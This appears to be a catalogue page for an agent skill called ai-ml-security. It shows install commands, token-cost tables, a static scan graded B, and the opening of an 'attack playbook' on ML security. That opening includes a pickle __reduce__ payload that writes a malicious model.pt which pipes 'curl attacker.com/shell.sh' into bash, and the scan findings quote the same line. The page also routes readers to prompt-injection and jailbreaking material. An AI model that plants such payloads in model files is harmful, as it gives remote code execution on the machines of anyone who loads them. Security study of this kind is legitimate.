Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/ai-ml-securityWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/ai-ml-security)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ai-ml-security"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ai-ml-security.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.03877 |
| Opus 5 | $0.00026 | $0.01938 |
| Sonnet 5 | $0.00011 | $0.00775 |
| Haiku 4.5 | $0.00005 | $0.00388 |
Grade B, and why
ai-ml-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
return (os.system, ('curl attacker.com/shell.sh | bash',)) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
return (os.system, ('curl attacker.com/shell.sh | bash',)) Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('curl attacker.com/shell.sh | bash',)) This is a copy
100% identical to ai-ml-security — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 426 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: AI/ML Security — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
0. RELATED ROUTING
- llm-prompt-injection for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
- deserialization-insecure for deeper coverage of Python pickle and general deserialization attack patterns
- dependency-confusion when the ML pipeline has supply chain risks via pip/npm package confusion
1. MODEL SUPPLY CHAIN ATTACKS
1.1 Malicious Model Files — Pickle RCE
Python's pickle module executes arbitrary code during deserialization. PyTorch .pt/.pth files use pickle by default.
import pickle
import os
class MaliciousModel:
def __reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))
with open('model.pt', 'wb') as f:
pickle.dump(MaliciousModel(), f)
Loading torch.load('model.pt') executes the embedded command. Applies to:
| Format | Risk | Mitigation |
|---|---|---|
.pt / .pth (PyTorch) |
Critical — pickle by default | Use torch.load(..., weights_only=True) (PyTorch ≥ 2.0) |
.pkl / .pickle |
Critical — raw pickle | Never load untrusted pickles |
.joblib |
High — uses pickle internally | Verify provenance |
.npy / .npz (NumPy) |
Medium — allow_pickle=True enables RCE |
Use allow_pickle=False |
.safetensors |
Safe — tensor-only format, no code execution | Preferred format |
.onnx |
Safe — graph definition only, no arbitrary code | Preferred for inference |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 426 lines · 53 tokens per session scan B c0182081a9e5
ai-ml-security is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 53 tokens to every session and 3,877 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). It is 100% identical to ai-ml-security, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
skill-meta-prompt
Craft better prompts using proven optimization techniques — use when your prompt needs refinement.
continuum-llm-providers
Pick the right LLM provider, configure structured outputs, control context-window compression, and use the LLMClient directly. Provider routing is by model-string prefix; LiteLLM has been removed. Also covers Smart Gateway integration for multi-provider routing. Invoke when the user asks about "switch to Claude"…
pwn-ai-agent-promptbuilder
Drive PWN::AI::Agent::PromptBuilder from pwneval.
pwn-ai-openai
Drive PWN::AI::OpenAI from pwneval.
pwn-ai-openwebui
Drive PWN::AI::OpenWebUI from pwneval.
pwn-ai-redteam-sensitiveinformationdisclosure
Drive PWN::AI::RedTeam::SensitiveInformationDisclosure from pwneval.